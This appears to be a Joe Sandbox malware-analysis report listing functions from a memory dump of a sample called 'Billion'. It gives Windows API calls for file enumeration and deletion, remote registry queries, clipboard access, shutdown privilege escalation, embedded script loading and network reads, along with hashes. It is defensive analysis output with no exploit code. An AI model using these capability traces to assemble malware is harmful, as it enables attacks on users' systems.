Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 2cf46fea9fa8229ee5ae324e51df5ac48183e9beaf94ff4409e9c566bab35673
Instruction ID: 0f68c3da8f57d45f00a276d8017f50ed60d1feb7a68cd3eb278b484f00c964e7
Opcode Fuzzy Hash: 2cf46fea9fa8229ee5ae324e51df5ac48183e9beaf94ff4409e9c566bab35673
Instruction Fuzzy Hash: 63D13FB2508344AEC310EBA4CC85EBBB7ECAF99704F44491DF589D7291EB74DA44CB62

Function 001AA087 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 001AA0A8
GetFileAttributesW.KERNEL32(?), ref: 001AA0E6
SetFileAttributesW.KERNEL32(?,?), ref: 001AA100
FindNextFileW.KERNEL32(00000000,?), ref: 001AA118
FindClose.KERNEL32(00000000), ref: 001AA123
FindFirstFileW.KERNEL32(*.*,?), ref: 001AA13F
SetCurrentDirectoryW.KERNEL32(?), ref: 001AA18F
SetCurrentDirectoryW.KERNEL32(001F7B94), ref: 001AA1AD
FindNextFileW.KERNEL32(00000000,00000010), ref: 001AA1B7
FindClose.KERNEL32(00000000), ref: 001AA1C4
FindClose.KERNEL32(00000000), ref: 001AA1D4

Strings

*.*, xrefs: 001AA13A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 88f15a607ea2b7c4aaa972efcbdace23133cce9f6c70087087ce3c45da5f7e3f
Instruction ID: d9c17246f890bec929b3206df50dd78b6abcad0db4379020b6a49c526e0ce4f0
Opcode Fuzzy Hash: 88f15a607ea2b7c4aaa972efcbdace23133cce9f6c70087087ce3c45da5f7e3f
Instruction Fuzzy Hash: 3831F37660031DBBDB10AFB4EC49EEE77ADAF46361F5000A5F815E2090EB70DE85CA65

Function 001A4763 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 001A4785
_wcslen.LIBCMT ref: 001A47B2
CreateDirectoryW.KERNEL32(?,00000000), ref: 001A47E2
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 001A4803
RemoveDirectoryW.KERNEL32(?), ref: 001A4813
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 001A489A
CloseHandle.KERNEL32(00000000), ref: 001A48A5
CloseHandle.KERNEL32(00000000), ref: 001A48B0

Strings

\, xrefs: 001A47BC
:, xrefs: 001A47C7
\??\%s, xrefs: 001A47A0

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: e94ad229bf685ad1b2d861b550f473a823e4f1dd3772a0196b75c38144f11fd8
Instruction ID: aa260c410226234ebd0ee0f030f734e4b9202e07c8f62c8db9f3a33e17ebe22d
Opcode Fuzzy Hash: e94ad229bf685ad1b2d861b550f473a823e4f1dd3772a0196b75c38144f11fd8
Instruction Fuzzy Hash: 4131B2B6500249ABDB219FA0EC49FEB37BCFF8A701F1040B6F519D6060E7B4D6858B24

Function 001AA1E2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 001AA203
FindNextFileW.KERNEL32(00000000,?), ref: 001AA25E
FindClose.KERNEL32(00000000), ref: 001AA269
FindFirstFileW.KERNEL32(*.*,?), ref: 001AA285
SetCurrentDirectoryW.KERNEL32(?), ref: 001AA2D5
SetCurrentDirectoryW.KERNEL32(001F7B94), ref: 001AA2F3
FindNextFileW.KERNEL32(00000000,00000010), ref: 001AA2FD
FindClose.KERNEL32(00000000), ref: 001AA30A
FindClose.KERNEL32(00000000), ref: 001AA31A

Part of subcall function 0019E399: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0019E3B4

Strings

*.*, xrefs: 001AA280

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: 31077f375b6049b64bb7d6c8b01f33d6d8f8338ebce388958ed3d9048e279174
Instruction ID: 15089e93ba026ddc4010cf42586aec260e6c89bd961a497ee37cdfc944e73777
Opcode Fuzzy Hash: 31077f375b6049b64bb7d6c8b01f33d6d8f8338ebce388958ed3d9048e279174
Instruction Fuzzy Hash: 6E31047550021DAECF10AFB4EC09FEE77ADEF46324F5041A6E811A3090EB71DE95CA55

Function 001BC8A4 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001BD3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001BC10E,?,?), ref: 001BD415
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD451
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD4C8
Part of subcall function 001BD3F8: _wcslen.LIBCMT ref: 001BD4FE

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001BC99E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 001BCA09
RegCloseKey.ADVAPI32(00000000), ref: 001BCA2D
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 001BCA8C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 001BCB47
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 001BCBB4
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 001BCC49
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 001BCC9A
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 001BCD43
RegCloseKey.ADVAPI32(?,?,00000000), ref: 001BCDE2
RegCloseKey.ADVAPI32(00000000), ref: 001BCDEF

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: f8f9b72bdf9a5eba8432189681ed9d599180018f72c007049a6e49b43a6d435a
Instruction ID: b4c3063f06b5902757fa5ea1f68c7d67c6f81e1350128b76f3c15548cd644f86
Opcode Fuzzy Hash: f8f9b72bdf9a5eba8432189681ed9d599180018f72c007049a6e49b43a6d435a
Instruction Fuzzy Hash: 75025075604200AFD714DF28C895E6ABBE5FF58314F1884ADF849CB2A2DB31ED46CB91

Function 0019D921 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00135851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001355D1,?,?,00174B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00135871

Part of subcall function 0019EAB0: GetFileAttributesW.KERNEL32(?,0019D840), ref: 0019EAB1

FindFirstFileW.KERNEL32(?,?), ref: 0019D9CD
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0019DA88
MoveFileW.KERNEL32(?,?), ref: 0019DA9B
DeleteFileW.KERNEL32(?,?,?,?), ref: 0019DAB8
FindNextFileW.KERNEL32(00000000,00000010), ref: 0019DAE2

Part of subcall function 0019DB47: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,0019DAC7,?,?), ref: 0019DB5D

FindClose.KERNEL32(00000000,?,?,?), ref: 0019DAFE
FindClose.KERNEL32(00000000), ref: 0019DB0F

Strings

\*.*, xrefs: 0019D978, 0019D981, 0019D996

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 3aac4612ab86820ca6229beef84c9593e8880cd901f10d361df9e8bb18641a4d
Instruction ID: f750b4ae67c83c9c1411d245612a165115d94d73e6e30d9fb657b21af6a78760
Opcode Fuzzy Hash: 3aac4612ab86820ca6229beef84c9593e8880cd901f10d361df9e8bb18641a4d
Instruction Fuzzy Hash: 25615E3180514DAFCF05EBE0E992DEDB7B9AF25304F2440A9E502B7195EB31AF09CB61

Function 001AF7C7 Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 001AF7EE
EmptyClipboard.USER32 ref: 001AF7F4
GlobalAlloc.KERNEL32(00000002,?), ref: 001AF809
CloseClipboard.USER32 ref: 001AF900

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: ec57c18d926dba0c568b0e967694d05c23377fe68e324452347fbc9b2b56b6d1
Instruction ID: df5f98720677ff6d04ddb11065c59d442c049c1f5d44ad67415447ba80559621
Opcode Fuzzy Hash: ec57c18d926dba0c568b0e967694d05c23377fe68e324452347fbc9b2b56b6d1
Instruction Fuzzy Hash: C0419D75604611AFE310CF55E888F15BBE0EF45318F14C0ADE8598BA62C735EC82CB90

Function 0019F20D Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00192010: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0019205A
Part of subcall function 00192010: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00192087
Part of subcall function 00192010: GetLastError.KERNEL32 ref: 00192097

ExitWindowsEx.USER32(?,00000000), ref: 0019F249

Strings

@, xrefs: 0019F23C
, xrefs: 0019F273
SeShutdownPrivilege, xrefs: 0019F219
, xrefs: 0019F237

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: d8bccf26defdb3506e181834e5b668c6acad16577c7b6c55314475a4ef233c55
Instruction ID: f292f39a6f90b93ae80b4376c31e8346194ed12fce1cda3f1e31f64156214aa4
Opcode Fuzzy Hash: d8bccf26defdb3506e181834e5b668c6acad16577c7b6c55314475a4ef233c55
Instruction Fuzzy Hash: 9F01F47A6102147BEF2863B8AC8AFBF766CAB18354F150539FD13E21D2D760DD4291A0

Function 001322AD Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 308COMMON

Download Yara Rule

APIs

DefDlgProcW.USER32(?,?), ref: 0013233E
GetSysColor.USER32(0000000F), ref: 00132421
SetBkColor.GDI32(?,00000000), ref: 00132434

Strings

( , xrefs: 0013240A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Color$Proc
String ID: (
API String ID: 929743424-2181176062
Opcode ID: 8fd8dcf83fd9854c6d7aedd3da09cd878694a9c77249bd750d7fa0163605a157
Instruction ID: fe3774b5e2841b98c5983d760cdd1a2f614b25de5105803e59f656a6ab304ca6
Opcode Fuzzy Hash: 8fd8dcf83fd9854c6d7aedd3da09cd878694a9c77249bd750d7fa0163605a157
Instruction Fuzzy Hash: 508129B0108404BEE22D7A3C9C9CE7F296EFB5A300F164119F112D6696CB79CF42A276

Function 001A3A0E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,001756C2,?,?,00000000,00000000), ref: 001A3A1E
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,001756C2,?,?,00000000,00000000), ref: 001A3A35
LoadResource.KERNEL32(?,00000000,?,?,001756C2,?,?,00000000,00000000,?,?,?,?,?,?,001366CE), ref: 001A3A45
SizeofResource.KERNEL32(?,00000000,?,?,001756C2,?,?,00000000,00000000,?,?,?,?,?,?,001366CE), ref: 001A3A56
LockResource.KERNEL32(001756C2,?,?,001756C2,?,?,00000000,00000000,?,?,?,?,?,?,001366CE,?), ref: 001A3A65

Strings

SCRIPT, xrefs: 001A3A2B

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 569582b76698e9cf7de8bc505e8d1a0747337c9dbded284a14447dc14e6f218e
Instruction ID: c3fff54db20538a8acfa5c8204e1b6e98411637efef1923c4ec7f463ef09705d
Opcode Fuzzy Hash: 569582b76698e9cf7de8bc505e8d1a0747337c9dbded284a14447dc14e6f218e
Instruction Fuzzy Hash: 11117574200701BFE7228B25EC48F27BBBDEBC6B40F24426CB412D76A0DB71E9008A20

Function 001920AA Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00191900: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00191916
Part of subcall function 00191900: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00191922
Part of subcall function 00191900: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00191931
Part of subcall function 00191900: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00191938
Part of subcall function 00191900: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 0019194E

GetLengthSid.ADVAPI32(?,00000000,00191C81), ref: 001920FB
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00192107
HeapAlloc.KERNEL32(00000000), ref: 0019210E
CopySid.ADVAPI32(00000000,00000000,?), ref: 00192127
GetProcessHeap.KERNEL32(00000000,00000000,00191C81), ref: 0019213B
HeapFree.KERNEL32(00000000), ref: 00192142

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 398712ba775b5e83415d2146d725e6ca71a82eef14357c2c34b9a1857b950c27
Instruction ID: d47352ae73898cf9fe846e269d75490601b8add93a9b150ad7bed321d17f6c69
Opcode Fuzzy Hash: 398712ba775b5e83415d2146d725e6ca71a82eef14357c2c34b9a1857b950c27
Instruction Fuzzy Hash: 1B11AC72500205FFDF149B64DC09FAE7BA9EF44355F194028F94197120C735A990CB60

Function 001AA570 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 001AA5BD
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 001AA6D0

Part of subcall function 001A42B9: GetInputState.USER32 ref: 001A4310
Part of subcall function 001A42B9: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 001A43AB

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 001AA5ED
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 001AA6BA

Strings

*.*, xrefs: 001AA5A2

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 142783b7ffc84989272165a57fcf17eef195a49c67b777aeb05d78c54b3fbec5
Instruction ID: f5386034c0ae5d30111dbcbe7b5d6f1a3f26ad5551af1a016aedf3acd37962e3
Opcode Fuzzy Hash: 142783b7ffc84989272165a57fcf17eef195a49c67b777aeb05d78c54b3fbec5
Instruction Fuzzy Hash: 5541837590020AAFCF15DFA4C849EEEBBB4EF16310F54405AE809A2191EB309E84CF61

Function 001B2263 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 001B3AAB: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 001B3AD7
Part of subcall function 001B3AAB: _wcslen.LIBCMT ref: 001B3AF8

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 001B22BA
WSAGetLastError.WSOCK32 ref: 001B22E1
bind.WSOCK32(00000000,?,00000010), ref: 001B2338
WSAGetLastError.WSOCK32 ref: 001B2343
closesocket.WSOCK32(00000000), ref: 001B2372

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: a0a22a04dd7d784eff371e04213ef7291c3d47955a9c0bc59b5e185c2bfbd2f2
Instruction ID: 7bb1c4f0a81528d9c4f5ac2ad51e6cc5b6c9985c3d1f06ab22e9646fd34db335
Opcode Fuzzy Hash: a0a22a04dd7d784eff371e04213ef7291c3d47955a9c0bc59b5e185c2bfbd2f2
Instruction Fuzzy Hash: 4551B3B1A00200AFE710AF24C886F6A77E5AB58754F54809CF9459F3D3C775ED418BA1

Function 001C26DD Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 001C275C
IsWindowEnabled.USER32 ref: 001C276A
GetForegroundWindow.USER32(?,?,00000001,?), ref: 001C2777
IsIconic.USER32 ref: 001C2785
IsZoomed.USER32 ref: 001C2793

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 2be523c65a070434cb276a6101b9fb42f86b2d5b698c717e11593531333dbe72
Instruction ID: 4099a2705a1ea2df61d039f2befa16724ffa3c73caca4c4f028c04c302634835
Opcode Fuzzy Hash: 2be523c65a070434cb276a6101b9fb42f86b2d5b698c717e11593531333dbe72
Instruction Fuzzy Hash: DD21F1357003108FE7159F26D884F5A7BE5EFB5324F19806CE84A8B252DB71EC42CBA0

Function 001AD889 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 001AD8CE
GetLastError.KERNEL32(?,00000000), ref: 001AD92F
SetEvent.KERNEL32(?,?,00000000), ref: 001AD943

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: ab00d3aec0beaf452af676b03ad4da99bd5a3829915ef091ba7a481169e3b4bf
Instruction ID: 34c068f5c00ad4c226b1205c7b87a6a30903db3c2d6bd0ba8e4a90613fa3506f
Opcode Fuzzy Hash: ab00d3aec0beaf452af676b03ad4da99bd5a3829915ef091ba7a481169e3b4bf
Instruction Fuzzy Hash: 9621A1B5900B05EFE7209F65E848BAB77FCEF42318F10442EE65792942D774EA45CB50

Function 0019E472 Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,001746AC), ref: 0019E482
GetFileAttributesW.KERNEL32(?), ref: 0019E491
FindFirstFileW.KERNEL32(?,?), ref: 0019E4A2
FindClose.KERNEL32(00000000), ref: 0019E4AE

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
